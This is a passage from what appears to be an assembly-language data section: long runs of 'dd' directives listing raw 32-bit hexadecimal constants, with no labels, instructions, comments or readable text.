62CFAAEAh, 0C6895D6Ah, 6003D97Dh dd 0A233F1BBh, 0A0CA0550h, 0D0833B3Dh, 4217CAD6h, 34FB1D76h dd 8791AEB5h, 0A9D4C7FBh, 0A27620E9h, 0DF735176h, 0F653CEBFh dd 440B5E4Dh, 0A83497C4h, 76A9D62Dh, 12D53125h, 0DF177D0Fh dd 6424B220h, 0DFC9C4D1h, 0D604B950h, 5B474667h, 2E4C41BAh dd 0F9B8B998h, 7DC6FADFh, 6D728FFDh, 22A8B11h, 5C15FD02h dd 715D7A4Bh, 43A6262h, 35CF457Fh, 2E2DFFCCh, 7DB39520h dd 48320071h, 0A07AED2Dh, 0F80E0D6Fh, 411B0510h, 326D65CAh dd 373622DCh, 93184707h, 4C04AAD5h, 782C4023h, 40B4ACBFh dd 87545808h, 0D534E958h, 0C5FF9B06h, 0FFA31294h, 138063C9h dd 2045B951h, 815C1F6Dh, 142B0B4Fh, 92F726Ch, 48693512h dd 1FC4958h, 0D5C9FC2Dh, 280E4302h, 56A81177h, 8247DEE4h dd 0EEF317A0h, 74AC69Ah, 0E92B42ABh, 407BADC8h, 3A2E90EFh dd 0E2C544D4h, 0C6EA18FBh, 1D74F217h, 0BD76F369h, 551BDB84h dd 0BE13FE1Dh, 9389E2AEh, 54141BADh, 0E407865Dh, 0DF71D82Fh dd 0AC9A4F29h, 26CA4C77h, 8B0E42CBh, 325F5D96h, 267880AEh dd 2550F45h, 219ACB81h, 0D5D662F6h, 2238471Eh, 5F749F88h dd 6D804264h, 0E54A23C9h, 5731CC80h, 0AE93754h, 0C2B034F7h dd 0A6C38CB9h, 90AF4FB7h, 5964E19Ah, 425A2E0Ch, 18A14E4Ah dd 6671E333h, 7A2560D7h, 9C5E250h, 6B68F796h, 885FE9F2h dd 3DB81DC0h, 261E0139h, 100D4D2Dh, 17B56C6Ch, 32ADBCD8h dd 0D25FADEh, 3D84D3A0h, 0EFB871BCh, 27ACE520h, 8D7883BEh dd 6E7A296Ch, 0C6E9185Eh, 68E1C121h, 0AE19B726h, 82FF5264h dd 0D175411Eh, 3F6E031Ah, 7CE23AE2h, 0E90C0232h, 2546F6EFh dd 2744A57h, 60CEFBF2h, 2555615Bh, 88DF1A3Fh, 5E09086Bh dd 16FBD429h, 7A9AE1B4h, 55CFCDFCh, 0FF1B79A5h, 3868098Ch dd 0EF5E6F81h, 0BD3A163Dh, 0ECE9834Dh, 5C5E311Eh, 2E89B26Ch dd 8B3F788Dh, 0DB6D1274h, 683D70AFh, 3EE162ACh, 6FE6A0E8h dd 28356816h, 6E0269EAh, 0FE92CEE2h, 0F0C457B3h, 3FE7FB1Fh dd 6825C420h, 5E175AF7h, 3705FD7h, 7DF45B05h, 8B5898DAh dd 0C25359B7h, 987F2EE6h, 5DB832h, 354D1D5Bh, 321272A3h dd 1D6169Dh, 630C1D7Eh, 18333E9h, 85DD62B3h, 0ED19C47Eh dd 0A50D9FF6h, 0F22A863Fh, 0B38C9F0Fh, 0C9D6355Bh, 40045AE5h dd 0BD55F0BEh, 0BD0DC93Dh, 1735182Ch, 3D81472Ch, 767E25C7h dd 4FF71F7Ah, 0C05092E6h, 0B668560Ch, 65207102h, 92025CE9h dd 0B0157A82h, 79BD69B5h, 51A9D482h, 529277F3h, 0CD291504h dd 6AEF8706h, 834C5802h, 5DFA017Bh, 0BACEB814h, 0BD32B8E6h dd 0ED3F1A65h, 0F9F0142Dh, 0B4F22928h, 0A66C700h, 560C3549h dd 140D4FACh, 6E2ACE3Fh, 0ED8100EBh, 0F6A4DA5h, 7598D529h dd 0CC050883h, 2817398Ah, 363072B9h, 3202C6C3h, 481B0F3Bh dd 0EA5A0FFDh, 0DFE68048h, 907BC424h, 20440BCEh, 0F6E36384h dd 628E940Ch, 0FF8CF4EFh, 0BAC34D92h, 32B2C187h, 11A0757Ah dd 3E9E7255h, 16280D01h, 0E8830C82h, 4284992Eh, 80002DBAh dd 9F281DEFh, 92EB5CD8h, 278AAD06h, 5BF9880Fh, 327CE1E7h dd 53F85CC9h, 7BC90E4h, 0CEFBCB3Ch, 292048EFh, 0D5278119h dd 0AC580884h, 0EA0DB226h, 0C2D440CBh, 6E4E131Fh, 0E1752352h dd 295DB498h, 0C415446h, 9A8B616Bh, 0C1217F0Dh, 9C7FCF29h dd 175A6EB6h, 9DE91060h, 0B2B08045h, 0D4FB514Bh, 0FD9DEA99h dd 0BB5C7CF4h, 33D427B3h, 0F7E590E9h, 5D17248Ch, 11C7010Eh dd 2EA7BB92h, 98FEA9C5h, 0F748CD77h, 6B4DDD3h, 0E98445A9h dd 2916BBF6h, 12DF8BEEh, 93E40FBDh, 1E46F4E1h, 0C6C18127h dd 0C557967h, 192D9BF6h, 38A35C8Fh, 6980D1A5h, 7A1B3D63h dd 76A83CC2h, 0F28082FCh, 0B2E7553Fh, 0F8BBC427h, 0C9EDC0E0h dd 188A0E25h, 473A99B8h, 4124935Ah, 0B61B7E00h, 4F09AE8Fh dd 0BC892CEh, 0D02F5356h, 0F05AA04Ah, 222FE92Ch, 0B550FE6h dd 0A7A3C751h, 40E18E57h, 0CD702925h, 2D050230h, 8948BFE4h dd 0D3199F5Ch, 2BBE714Ch, 80644E76h, 2860BB08h, 632F3326h dd 0BA024310h, 0B97B9A8Fh, 5977CBC2h, 0F3DFC936h, 81F5EB22h dd 29414513h, 0D606A642h, 76FC27C8h, 0A90ADEEBh, 88772768h dd 772710BFh, 585DCF80h, 289653E9h, 0A8916BBh, 212001E3h dd 7B389C7Dh, 55EFEFEh, 893C1EBFh, 78FAC03Fh, 24FBFC97h dd 64DC071Ah, 402507E2h, 0F731AC57h, 6C35D805h, 5BC76127h dd 0BD00B564h, 21A11FECh, 0D8AAF795h, 4999021Eh, 24C073E9h dd 0D64CBB58h, 85AF16AEh, 0A9BF6334h, 0B1E2B5ABh, 0E128E985h dd 66D0FCCCh, 43A85B4Bh, 215F1B1h, 94567721h, 129CF358h dd 440F4008h, 0A150E95Bh, 0FDB2D799h, 0EE029289h, 72E671DAh dd 5456B807h, 0E9DF1069h, 6453763Ch, 3C32EE58h, 6B8409ECh dd 0C4D3F864h, 25138429h, 0EB4394EAh, 0D8B54205h, 2F6872D8h dd 464C7B4Fh, 234F8AF4h, 0BAC026ACh, 69F84C01h, 9AB7E91Ah dd 5169F742h, 5A26F8FDh, 6055828h, 36BEE916h, 9B8867CDh dd 0D62DAEC9h, 8B7FA589h, 0BF30F0E1h, 6816AAE6h, 1CA347B9h dd 313B826h, 35E2813Ah, 0C15E0B88h, 769005ECh, 8232C801h dd 5551E927h, 0D118393Ah, 52F0C03Eh, 80C0B600h, 0D6F613C6h dd 16B10F51h, 0E161C9FEh, 7E93E902h, 1AE6617h, 8A0925ADh dd 3532301Ch, 23491512h, 0F4E9C5C0h, 41F62D6Eh, 590031FDh dd 2C23A02Ah, 2AC18C31h, 0CC392DE2h, 0BFA95016h, 7BB9F130h dd 20AF257Dh, 0D2C1CEF0h, 2B713E01h, 91E9E58Bh, 71659A9h dd 0F6FAC497h, 5812CE4Fh, 402B68EEh, 42A609C7h, 66068E0Bh dd 1D8C6BCCh, 521D687Eh, 0C6ECDE12h, 3D8E982h, 73D5DFA7h dd 0F3FE299h, 0FE1013CBh, 21CC7DACh, 0F0BD5B6Bh, 0C275164Ch dd 10DCB971h, 5327D807h, 529BD6F1h, 0E9D390FEh, 0CC414B18h dd 314EE417h, 0D050D3F2h, 0D1FE52FFh, 39056305h, 27B40154h dd 3C0B56A5h, 52491ED0h, 0A0E5AD89h, 0AA4063AFh, 0BF2D4E14h dd 1FBABB12h, 31DEFA05h, 0A73469B3h, 71E85FC1h, 120021BDh dd 0CD81377Fh, 97414F2h, 2B946875h, 9D804959h, 0E93EDB2Ch dd 3A956F58h, 0AAE4C70Eh, 0C0BCA34Ah, 0E58BD55h, 4553397Ah dd 68819A5Dh, 0F6F933C2h, 0E637C261h, 71C10102h, 0F1294243h dd 164D840h, 0E2389427h, 7633407Fh, 325481D2h, 9368C256h dd 61CCD57Fh, 48349501h, 3FEAE961h, 2F1DF67Bh, 69147356h dd 1B6BCC82h, 8B2D43D2h, 1C856E70h, 273A8F68h, 41045D5h dd 0AEE083E9h, 1FF8828Ch, 492B0379h, 0CCA153EEh, 215A6665h dd 0A64B20DEh, 4440D34Ah, 5E9C63C1h, 8E2109BAh, 0FA8987B7h dd 299DF656h, 0DF13BFA6h, 0EF8013B2h, 23568D0Fh, 1B532D00h dd 0F8295AD0h, 1607A205h, 2BE9129Eh, 0B2E730E8h, 0EA398055h dd 0E6C28930h, 2E680288h, 0DFDBA299h, 0A828545Bh, 92C8B58Eh dd 0FBBFFB29h, 0CFD527A6h, 0F09F96C4h, 6817522Ah, 2CBA14BDh dd 80B5337Fh, 28C4B674h, 526FF2CEh, 167696FDh, 5D9A21h dd 136305BBh, 2507117Fh, 7AA133BEh, 0C819B250h, 0E3350002h dd 8918167Eh, 0D14AE9C5h, 0F4BB81C1h, 31E60D6Ah, 0FAE342DCh dd 5F126A78h, 0F7FFF029h, 67A84A11h, 17B550B8h, 5D66120Fh dd 0B2BE0714h, 0F03183D2h, 0B3952DDh, 0D77021EAh, 3EFFE182h dd 66E91316h, 0E0ADC952h dd 8E9A11F9h, 0EE5CFD72h, 0BE722931h, 0BC165002h, 0BE37839h dd 25E4CBF5h, 2420B1D2h, 1581318h, 4EBD04CEh, 0C98AF6Ch dd 40D24C0Eh, 0E27B12D8h, 0E0AEDC97h, 419E05EDh, 822D52BFh dd 594C5508h, 167D6B20h, 30742568h, 2CD5B0EFh, 0C508A301h dd 0BEF58058h, 30E30689h, 0EB04FA8Bh, 0CCB707DDh, 56AFBB72h dd 0DCA98CB3h, 6402350Ch, 8102A009h, 0EAA97FEEh, 0F6FC6009h dd 0ED40D3A8h, 25E17728h, 5B150E48h, 412778ACh, 0B67E018Fh dd 0D15D2722h, 6EB16354h, 45B82E66h, 0EEBB050Dh, 0C0467F27h dd 0E33A68C0h, 0F4433D3Bh, 750F091Ch, 8029F465h, 0A915BBCBh dd 0FE73E92Dh, 56825F96h, 570DEC5Dh, 728046F6h, 21664BF3h dd 0CCE98BCEh, 0AB4F7AEBh, 59470908h, 83588882h, 73986805h dd 0C956F633h, 1D344B7Dh, 752AFDEBh, 0F8CB005Bh, 252FD33Bh dd 604B140Eh, 76A7A13Dh, 0B02F0A69h, 0A5390520h, 0AAA04A48h dd 0B9F1E4C6h, 0AB58640Dh, 7F33C741h, 0CE8011CEh, 0A3292E8Ch dd 18BECA01h, 5204364Fh, 540F9B35h, 0EF8859A5h, 0E9BA20CCh dd 2CCF883Dh, 1FEC9CDCh, 0D4C6F7D8h, 0F2B3BE66h, 6E0C6809h dd 8162CEF6h, 17222B22h, 4020356h, 2E165221h, 6E6F0B3Dh dd 0AA66E104h, 0F89A5F02h, 0EEC304FEh, 0C95209F0h, 0C5F41A32h dd 4608F760h, 8A564B1Bh, 405D27C7h, 4F14C22Fh, 70CC008h dd 3503E0D1h, 26A31FB9h, 3CEEF02Dh, 0A15E95F7h, 0D2E82158h dd 42E6EBAFh, 3AE9E709h, 572506FCh, 13240D45h, 0EFC16B1Fh dd 0B144E97Fh, 70C762Fh, 0B081DD95h, 254FE907h, 9DA96A16h dd 0F748C2E4h, 87525709h, 0BB2FAE2Ch, 4728D889h, 895D940Ah dd 0E53B6004h, 74054016h, 3241F2Eh, 0AA59A225h, 2DE9D138h dd 0A437BA01h, 1016034Ch, 0AD4EB8ACh, 40D510F4h, 0F339E909h dd 5C95C87Dh, 0B376BFBEh, 0D734358Ch, 17800FC3h, 0CBAF3EE2h dd 9008E81Fh, 330E2299h, 0C7B0FF97h, 185ED6E9h, 68E188A8h dd 16FDE6FCh, 5DE92718h, 759DF278h, 1BBEE194h, 0AD186552h dd 0CF02337Bh, 0E55005E9h, 32F9252Ah, 5251C16Bh, 7F8B997Eh dd 9278DEE1h, 25B4C602h, 0B26033A1h, 705E58FDh, 1CA0C3F1h dd 141CD008h, 13268B4Ah, 9E8478E9h, 85ADB8BAh, 0B0B83607h dd 8C4B60C4h, 0D15A01B4h, 0E9F028AFh, 0E3A1382Ah, 266172B7h dd 82E43B84h, 4527EA55h, 39316075h, 0A7BE80C1h, 7C302A1Eh dd 0E9C21096h, 0C56FB5Fh, 4B441E41h, 0E05AB5ECh, 0F3686B71h dd 80F8373Eh, 668557E0h, 0D54BB4B6h, 0E9615E65h, 236AA529h dd 0E7CA2B4Ch, 0C28141FCh, 0DCF05587h, 987BDB61h, 0D409E963h dd 0D625CE58h, 2508A07Ch, 0CBE6525Eh, 31A16815h, 0C05B57h dd 0BFB33A7Bh, 7F20E05h, 0FC67E907h, 0A20EC57Fh, 0C5B1FB0Bh dd 990106E5h, 58D6682Bh, 282E2749h, 6E00AD8Eh, 0A4BF43A8h dd 95354B20h, 0F7120077h, 4743FB7h, 0E9FD2134h, 2BBE816h dd 227FE4BBh, 1292802Ch, 16E7049Ah, 0B5B5153h, 51D2A0A5h dd 0F30BECFFh, 774E1F7Bh, 0BC6F56ABh, 0B857B88Fh, 7FDD4144h dd 0C9EA0DC5h, 0D69E40B4h, 0F782A21Ah, 63832442h, 0D0C22EC3h dd 5A3AA80h, 810234F3h, 40E64E7h, 17C04039h, 0A0375B22h dd 2C966159h, 0FC0C83E6h, 1D7F600Dh, 0B23CAFE1h, 0BE564A01h dd 245B0875h, 0CE487178h, 8BB8BC4Ah, 27114559h, 0E920B075h dd 0B1F794F7h, 28945884h, 0E368822Bh, 0CB6B5962h, 0FFA6EEFFh dd 31B0AB14h, 74E92D51h, 6D590489h, 0C0F4CDE2h, 3883AD7Eh dd 0EA48207Fh, 530BFB18h, 1E2FA3EEh, 38FED088h, 38B51A6Ah dd 0C096FB0Ch, 0CC72BF0Ch, 0F6BA522Dh, 0E377A721h, 0CFE9F8E9h dd 6887C295h, 0ECF61245h, 0C818D46h, 25A5BFBAh, 98679B94h dd 6562492Eh, 91FB7627h, 99EE4E10h, 0BF78443Eh, 54E0FE95h dd 24B24BF5h, 90A9EFF8h, 2AC2D06Fh, 0D4753E22h, 9942455h dd 0D230D029h, 1F19C605h, 2D1A73AAh, 7FE90741h, 0A63A7D65h dd 775C8C60h, 35101FBEh, 0F506FC6Bh, 978BE95Eh, 0B8E65A4Ah dd 9FE08C3Eh, 8A49CFE1h, 54ED315Eh, 4B88DF10h, 0E24DEFFh dd 1255A468h, 0A8E7AEh, 33DEED81h, 2FE979A3h, 18C5F746h dd 8066B200h, 9708C0EAh, 4F8696FFh, 0EFFAC474h, 0FD2590F2h dd 0E9064E45h, 92BF208h, 674D5DEAh, 9827637Dh, 4FD35776h dd 2C6AAC19h, 0D81157Ch, 32952516h, 0FA051270h, 0FFC7274Ah dd 84174F5Dh, 0AAF017E9h, 5F7B82A6h, 3B8EB112h, 0B0B5E5E8h dd 12177645h, 61913654h, 0A2E6A3E9h, 0DD7894A6h, 2CBC96E5h dd 1A1032CBh, 39D82116h, 0C7457A94h, 74AB359Dh, 0BA0BFADCh dd 0A95F5AACh, 133E4B01h, 7EB6BBDDh, 0CF52E9C2h, 0DFF9A47Dh dd 317C62C3h, 10DDBFAh, 0C1C160F5h, 813730B7h, 255202E2h dd 0DAF76A29h, 0FB001E76h, 79E99FFEh, 0A9999568h, 3B93605Bh dd 20B4B086h, 61902337h, 5F2B7104h, 0D104092Eh, 0CAB6BE92h dd 28527A42h, 89CFFED6h, 10B0A64Eh, 592CA05Eh, 0F8363943h dd 1A9F9409h, 8C28092Dh, 2FE90D0Ch, 0F7AB842Ah, 0E47E2B7Fh dd 650205B3h, 0F35C2903h, 0E90C405Fh, 3E603337h, 0B551D800h dd 0CD801FCEh, 815952D7h, 2BE328AFh, 261261BFh, 6B6735F2h dd 3E322EA0h, 6778D129h, 63433407h, 0C095F95h, 0F63DA568h dd 7B45CF4Ch, 160AF330h, 0FAFCED80h, 0F48F0692h, 0EBFA64F1h dd 0F5283B39h, 6632C375h, 0D5680A59h, 0A1AF6A4Bh, 7882E950h dd 11BE0EFBh, 5661C702h, 491D9DB2h, 0A02EF2A6h, 0AE2D24D5h dd 646ED650h, 4F40AB29h, 8611AD8Dh, 1E0A5AE9h, 64D425C5h dd 28701E08h, 97ADB2FDh, 0A9CB31C8h, 1C8C0710h, 0C70BB901h dd 97DE313Ch, 0C8FB407Eh, 201E809h, 3C240548h, 6B20EBA7h dd 0FD0C13BFh, 0B06DE870h, 5848297Bh, 68C2332Dh, 215E4636h dd 0A6059560h, 0F3810F0Ch, 1981082Ch, 2AC011E9h, 78109BE3h dd 4CC5853h, 70791973h, 5E080B24h, 304C34D5h, 0ED41F132h dd 0A2D96A2h, 0D1E04214h, 82F06BA7h, 0F02487A7h, 128CE85Ah dd 9B91B7DEh, 0CB053B09h, 27EA6F37h, 82D5364Bh, 1133F50Bh dd 805FB09h, 880B0A46h, 62B27DEFh, 0ECAC405Dh, 0A14DB265h dd 0B3FD6997h, 0EE381F0h, 57DA3CEBh, 0C315DDDh, 7D0C2049h dd 8C6D7E38h, 0AE0A56E9h, 96BF0BBh, 5C316678h, 84A29CDDh dd 1835513Dh, 522D1C26h, 3A1EDDB1h, 8BAEA912h, 0EBBC4F05h dd 0B20E6284h, 0AA0C88E8h, 3CD59568h, 95F99D0Ch, 1F5424CBh dd 542947F8h, 42B44813h, 5C5D6DE1h, 48F97384h, 51E33F08h dd 57F950h, 0B35B8E68h, 52565F63h, 9175DCF1h, 47BC4E4Fh dd 0FCD01676h, 0FEFF85F2h, 0CF00CE1Fh, 157E6A25h, 0E6D34E9h dd 0B4AFEC58h, 0F182F8BBh, 0EA2E5358h, 6942DD29h, 685D00FAh dd 0ACA644B8h, 0D80E0E90h, 0D3395A11h, 0C7615700h, 0BBB5854h dd 0D07E87CEh, 0BBE74005h, 4BAE6E98h, 844FE2E8h, 890434C5h dd 0AA6882EAh, 0E0006EC4h, 0F7775330h, 98E6C1D6h, 0BD465DC9h dd 0EDC05A01h, 30CDFE06h, 4597018Fh, 0D2DA3075h, 620B521Ch dd 590CC8E9h, 0A81B3C5Ch, 0BACD8F54h, 644287E1h, 4AB34A36h dd 0BC4AFDBDh, 0F6D2B2D7h, 0AF52BF93h, 0BE0120DBh, 53665A5Ch dd 0B9658B9h, 4CA78B31h, 7E49803Bh, 4E0142F1h, 4068D4Ch dd 97B5BE0Ch, 5235AF2Eh, 168E5C0h, 0C141AB22h, 75C273C7h dd 0FDADE853h, 6B024E39h, 0BCF419B8h, 9E6872Eh, 4067FD09h dd 0BBA05112h, 3352174Eh, 0A2921207h, 0B6B98096h, 0C1F8CCADh dd 317CD484h, 77BA3019h dd 1E405A17h, 52FFAAA0h, 890CE137h, 993C1920h, 3445FE12h dd 0BDCBEAh, 6E5D4798h, 7D673DBEh, 90E91286h, 0F20C915Bh dd 0ED23F57Fh, 0ADCBBD72h, 5B0969C7h, 0D24F827Ah, 49B33B58h dd 54144BE2h, 0EED78BE4h, 0EDC1C501h, 8069704h, 6C0088ECh dd 0EE316FAAh, 5701055Dh, 0E946AC7Ah, 4F7C4124h, 28D02CF0h dd 0EAE9F80Dh, 6F448AEFh, 3FF5EAC1h, 3494ADEFh, 79A7F5AEh dd 32AAF4E8h, 20E428CCh, 97EDD420h, 234AA5E7h, 33D1F78Bh dd 0F40D4B7Dh, 604EA7E3h, 5040D8h, 3759BF57h, 5DB85415h dd 0CD050BC0h, 142B2056h, 72DF829h, 5EF6F75Fh, 0E96E03BFh dd 0FB407D05h, 0AC9A56A8h, 33094702h, 852D5802h, 0DC05E06h dd 906FEA55h, 30440D52h, 7A0C6920h, 4FE908A4h, 5AE2FCEBh dd 7BDC39FFh, 1712DDE3h, 0A831BFFDh, 35783DCDh, 0D989AB93h dd 9F05A2F8h, 0FF03E8D9h, 0E1FDBA11h, 0AF65554Fh, 83A50838h dd 168DF9C5h, 7605FAC9h, 6DFCE054h, 3C51558Bh, 7288A5Bh dd 942D6453h, 3A23894Bh, 0B004A7A5h, 0E909C7CEh, 0ACEA8ABh dd 0C3EAF783h, 421C97F6h, 14FBDA6Dh, 0CCB07B13h, 9CDC3217h dd 0DC975034h, 1DEC2CC6h, 6C79E53h, 995FE9F9h, 5051899Ch dd 0ACC99EFCh, 0BFC1EC42h, 0E962B4F9h, 16425058h, 442A7968h dd 972227h, 0F02807B6h, 815A6366h, 0F8A2D7F6h, 0CE51677h dd 84EB8028h, 0E9179506h, 0A3F740CBh, 325F57Bh, 0F2C3AD2Bh dd 22EB725Ch, 0CF074E70h, 712A187Dh, 4A693BB2h, 74EDC020h dd 0D4F9B5FCh, 9F685540h, 0B0B6756Fh, 0EFF5016Ch, 0F7621750h dd 0C36330DDh, 0C12624BAh, 0DCAF3DE5h, 0FCC0072h, 6D6819F1h dd 9936C9Dh, 6CED6FF8h, 6CC4D875h, 0EB609F04h, 3E997E9Dh dd 29C9A7Eh, 50F5C380h, 0F05FFDB4h, 5DDF700Ah, 0AB97E2E3h dd 10E0E310h, 592F1629h, 9207A2FCh, 4579991Bh, 27D9246Bh dd 0E9B7DADAh, 0E76F176Ah, 27931787h, 332AD3E9h, 0A5BE4ABFh dd 0CD89EAE5h, 5F88B574h, 0F751047Eh, 66F9EA14h, 0FE28D49Bh dd 0CE0BDD90h, 0F68450Ah, 491F20D4h, 5301E939h, 0BA104097h dd 0FAA9503Fh, 0B9B2F15Fh, 3EF1E54Bh, 0AC1B1FBDh, 80C03F57h dd 2C25EAF1h, 3AF77ED7h, 0EFCCE909h, 0AA477D04h, 4EF9A685h dd 53531F17h, 0C34004BEh, 0B172192Eh, 248E0DA0h, 528D0293h dd 264C6F75h, 0AD5E12AAh, 0EADC1A95h, 8820547Eh, 6B282D45h dd 528C4C4Eh, 0B15178E1h, 0E45E3368h, 453401E8h, 61DFDB8h dd 31DF1AF2h, 5EA95852h, 69EA8180h, 134A2E5Eh, 804BCB5h dd 0BB0D81FEh, 0E6C981CEh, 66C2468Eh, 18CD0C82h, 5C755FF5h dd 69F601F0h, 3B42763Bh, 750B6402h, 50887677h, 1A4F5CE9h dd 2E684C8Ch, 0E1552D52h, 512F5E9h, 4E6F80FAh, 85ED37C8h dd 60842FEh, 7132B6F0h, 31FF95FEh, 0A77E5B79h, 7AD5C5E2h dd 55CF36F8h, 40766A45h, 67ED2DDFh, 1141F98h, 90705D8h dd 0DF04875Bh, 226AC61Ah, 554A3B64h, 840F49C0h, 0A20C4B4Bh dd 49F04852h, 0A5532479h, 0D94D2902h, 0D620Ah, 0CE6214D2h dd 2E014177h, 3ECB11F4h, 48AC23FCh, 54CF1161h, 634018BEh dd 0F42F5D68h, 74D0593h, 0CF4CB879h, 973A2E64h, 91C811EEh dd 0E586E917h, 73833059h, 4A67F659h, 810428E0h, 11D27E2Dh dd 0FDBE4251h, 0A9571D2Bh, 4C178B4Ah, 85F72D24h, 0AE5034A9h dd 6D7E6600h, 24B6257Ch, 52302CCh, 0DFB3DBDEh, 23F09441h dd 9AAC5B74h, 9400DF45h, 15B7ACFh, 0ED814D71h, 3E840591h dd 2FE9DBE0h, 0DBA0172Eh, 28C615A4h, 229FDAFAh, 0DF503595h dd 2A8C5C30h, 0C2BEF3DBh, 57818B0Eh, 68842247h, 7AEC1B7Dh dd 23C476D0h, 7BE12A0h, 37D1072Dh, 0DF5BC246h, 373CEA2h dd 6127680Ah, 0F57BBF3Eh, 3A96EECh, 50AFE65Fh, 0F5886EBAh dd 0C3763349h, 0BFE9EB82h, 0BC9745FAh, 2BB16C4h, 6FE629EBh dd 131F2B93h, 0BF02C645h, 0D0075C35h, 0F5B97766h, 0F10EFEF2h dd 0A43BB304h, 8CE4CA01h, 2775B4A8h, 7D7D89F7h, 2F0C522Dh dd 16025EA5h, 7787E280h, 0CC829873h, 0C2371A77h, 3DE57FE3h dd 0FD9E774Bh, 162E601h, 709AE964h, 0A00A373Eh, 0F7367450h dd 84E6A4C1h, 0F42EBD47h, 0B40A66EBh, 85C6832Ch, 0D2F873Ch dd 92DE3A9Bh, 0B37A78F1h, 173488D3h, 0AAA6575Eh, 85B78D77h dd 0A62E3EDDh, 0AA680B06h, 0A0E7C532h, 4BF00BBAh, 0DF7072B7h dd 0BA0FD9Ch, 0E9187BB0h, 6897BCC4h, 3B5874B1h, 0BA89525Bh dd 1F544171h, 0A048F0Ch, 189920C2h, 6D5AE21Fh, 6DBC1DFh dd 0E99BD827h, 5087F198h, 0D230BF5Bh, 58554DA7h, 87F701DFh dd 0E9440D42h, 0E77FD248h, 2D5C07BBh, 165A1201h, 7DD08D7h dd 244CBF3Ah, 0F504AD27h, 0ADEAFFA1h, 0D791E29Fh, 75F4C8ECh dd 40FC174Fh, 37F50093h, 29508A2Eh, 40E5EB78h, 3C78E908h dd 5EF2AEA8h, 0D91D4798h, 15E05FBh, 0BCD75A60h, 15BB0652h dd 140D16F0h, 0AF49DA35h, 840FA62Eh, 0FED830ACh, 0B252D560h dd 0D1881401h, 5602BF5Ah, 279E92Dh, 8041E1DEh, 4CECCCE4h dd 0F5199F6Dh, 5AD3C08Fh, 88FEDAE0h, 0C5D5C8B5h, 78763872h dd 6E37C0E3h, 0AACB373Bh, 0C481B9F4h, 20CAFBD2h, 0D12C6075h dd 0BCFA95E6h, 180F1505h, 25E15631h, 0ADF84943h, 0E99A68BFh dd 5E426149h, 0B86538EEh, 0A005370Bh, 62150915h, 0B44D598Ch dd 4F8C928Ah, 619DA1C0h, 321EF3Bh, 6E2E86E7h, 38185819h dd 296FFE09h, 7C6A687Dh, 9C3EAB36h, 0D614C91Eh, 0D2F569F5h dd 30F1BB00h, 0B34E1228h, 7497E4B2h, 0B38C4F60h, 6EEC5F14h dd 0F3A92A54h, 0DB01BF7Dh, 355D05C4h, 847F340Bh, 340712EAh dd 592A928Bh, 4DF9567Dh, 8BE47DE3h, 58DEC006h, 0E780B529h dd 1D6D7C7Bh, 748DADB4h, 8E23A10Dh, 0F7097C27h, 0A8A8E5DDh dd 7CD802F8h, 0CF2948BCh, 208E7C09h, 245A680Bh, 5B9E4118h dd 1701C105h, 22996831h, 0D8002836h, 0C1655749h, 0F49008EAh dd 25F0DD77h, 95CE0CC1h, 0F13ADAFAh, 61B62B1Ah, 0E9C3ED52h dd 0C55851CAh, 89DB2D01h, 0E3F25500h, 23D499F4h, 23D24AA5h dd 0A297E357h, 3DC5D7E7h, 16A7280Ch, 0F6A0C7C0h, 0E78AA6D2h dd 4660BD00h, 0CD812EB9h, 4A0E244Eh, 0EAE501D2h, 711E1250h dd 2B108287h, 0C01BEB23h, 5F53B680h, 0AD2E0AEh, 17DEF90Bh dd 7648DF29h, 0ACB23F02h, 0BF0637Ah, 1B75B3A0h, 544D422Fh dd 53F058F3h, 0E91B7704h, 0E8A8BA5Eh, 0FA2FA7C4h, 0A63B2439h dd 0E9AC4BB6h, 0BE8C1B0h, 0C044E92Dh, 131ABE8Fh, 0AF26F016h dd 3939AEF4h, 4FD9802Fh, 960B701h, 21F7017Ch, 2F846578h dd 8A356FB0h, 9A3C3E54h, 0D44055ECh, 1B6202B7h, 0F1554D18h dd 41E909C8h, 56484278h, 342A4FA2h, 0FB215E09h, 51820671h dd 0DD26D6E9h, 11CA4F1Bh, 0B107CE74h, 0B284803Ah, 56A11FBAh dd 81A24BB3h, 1FAE6B75h, 5632650Ch, 7831C076h, 775C6B43h dd 2A3905E8h, 0CEAB0A21h, 56BC5FF9h, 0FF1F1519h, 0FFA3AF5h dd 9184C778h, 0D639908Eh, 0FEA1F287h, 2C5A28E7h, 0DD2588DAh dd 0E9D5D40Ch, 0F274392Ch, 0DD6857C2h, 895F1570h, 2E0F2DFBh dd 0FA94F537h, 4AEA40C1h, 0A6C1AB05h, 5A7047E1h, 0AE66D68Bh dd 2DE9D828h, 95CC29EDh, 2F559B81h, 626A98CDh, 50D07FCFh dd 7A33FEB5h, 0F16B02DFh, 56D10B96h, 0FB555C42h, 0F38208C2h dd 0C218F427h, 0BEDF921Bh, 7D769D5Bh, 0B7AB42C4h, 0C73D7B66h dd 65B9FC90h, 50F57A2Fh, 0EACCB45Ah, 5F7D276Ah, 13040B72h dd 29CB8F6Eh, 41C7A9BFh dd 32E1048Ah, 9F5E795Dh, 0B6DA3E27h, 12E99D95h, 9CA2EFDEh dd 1DB44B79h, 28370361h, 0D09A58E2h, 43DCEE62h, 6617CE81h dd 92207183h, 7CE50540h, 0AC9AE9DBh, 68AF4EB9h, 0D8502806h dd 0FBBF6CC7h, 120A1135h, 0E13471B4h, 2AAFD1BAh, 0D37D38DCh dd 63DD1901h, 0E9305D8Dh, 0A474BD02h, 2DCE1808h, 0F16B00FDh dd 5E832C1Ah, 0EE39D066h, 3D5F1FB1h, 5F326BB0h, 125DF2C5h dd 7DBAC4A4h, 0C8C53033h, 1798482h, 295FF920h, 6B568195h dd 0A12DFEE4h, 0EF3E24Eh, 13103868h, 8BD9F3EBh, 10B5E75Ch dd 7633482Ch, 4BBD275Bh, 5E119085h, 16190E13h, 5ACAFE17h dd 448110h, 6B631C51h, 0D2E560E9h, 42792AA8h, 10E9090Dh dd 445DA07h, 9C62BCEAh, 7C24C011h, 774C4752h, 4561482Ch dd 0CB0A7A08h, 5B1317C2h, 0A1AB9BD4h, 0A5D86862h, 24E9D638h dd 0B07DFBFFh, 4D76B3F0h, 90275FB8h, 9825C41Ch, 15F350B5h dd 0C00A1FEEh, 0B0DD27C6h, 4AFDE923h, 0C08FB82Fh, 0D967F5BBh dd 0BBC986Fh, 0E83104Dh, 0B4613D62h, 0DBA3CB87h, 7160864h dd 28E3E280h, 9C20B43h, 0BD65DEBh, 0D0019F02h, 0EF62C047h dd 1E9916DEh, 1F20AEC8h, 9D0AC1E9h, 0F0556DA9h, 2BF5F704h dd 51419A25h, 0FF048DAFh, 